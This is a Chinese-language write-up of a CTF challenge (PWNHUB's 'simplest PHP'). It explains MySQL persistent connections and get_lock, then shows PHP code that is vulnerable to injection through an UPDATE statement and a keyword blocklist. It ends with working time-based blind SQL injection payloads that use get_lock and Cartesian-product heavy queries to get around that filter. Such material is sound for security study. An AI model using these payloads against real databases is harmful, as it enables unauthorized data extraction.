0x01 知識點
- mysql_pconnect(server,user,pwd,clientflag)
mysql_pconnect() 函數打開一個到 MySQL 服務器的持久連接。
mysql_pconnect() 和 mysql_connect() 非常相似,但有兩個主要區別:
當連接的時候本函數將先嘗試尋找一個在同一個主機上用同樣的用戶名和密碼已經打開的(持久)連接,如果找到,則返回此連接標識而不打開新連接。
其次,當腳本執行完畢后到 SQL 服務器的連接不會被關閉,此連接將保持打開以備以后使用(mysql_close() 不會關閉由 mysql_pconnect() 建立的連接)。
- get_lock(str,timeout)
Tries to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
get_lock會按照key來加鎖,別的客戶端再以同樣的key加鎖時就加不了了,處於等待狀態。
在一個session中鎖定變量,同時通過另外一個session執行,將會產生延時
舉例:
打開兩個mysql shell
現在一個shell中執行命令 select get_lock('test',5) 先上鎖
然后另外一個shell中執行重復的命令
成功延時。
我們可以用這種方法來進行注入判斷 但是必須要提供長連接 即 mysql_pconnect。
0x02 PWNHUB:全宇宙最簡單的PHP
1. Get_lock()解法
- 核心代碼
<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from test where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update test set point=point+1 where id = '".$id." '"); //這里有注入
?>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title><?=$row['point']?></title>
<link href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div>
<div class="container">
<div class="row">
<div class="col-md-12">
<h1><?=$row['point']?></h1>
<article><?=$row['pw']?></article>
</div>
</div>
</div>
</div>
</body>
</html>
可以看出update處有注入。
- 思路
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
1. 報錯注入==>錯誤顯示被禁止 故放棄
2. dnslog帶外注入==>load_file函數被禁止 而且權限不一定是root 故放棄
3. updatexml extractvalue報錯注入==>錯誤顯示禁止 放棄
4. 普通盲注==>頁面沒有回顯 故放棄
5. 延時注入==>sleep benchmark被禁止 這時候我們可以用get_lock方法進行盲注
所以我們的攻擊過程如下 先上鎖 再進行盲注
- 先執行
1' and get_lock(1,2)%23
給key=1上鎖 - 然后就可以盲注了
1' and if(1,get_lock(1,2),1)%23
再次執行同樣的語句會產生延時
2. mysql多表查詢解法(笛卡兒積原理)
- 笛卡爾積可以將多個表合並成為一個表
所以我們進行多表合並,耗費較長時間,達到延時的效果
測試效果
所以我們的payload是1' and if(1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23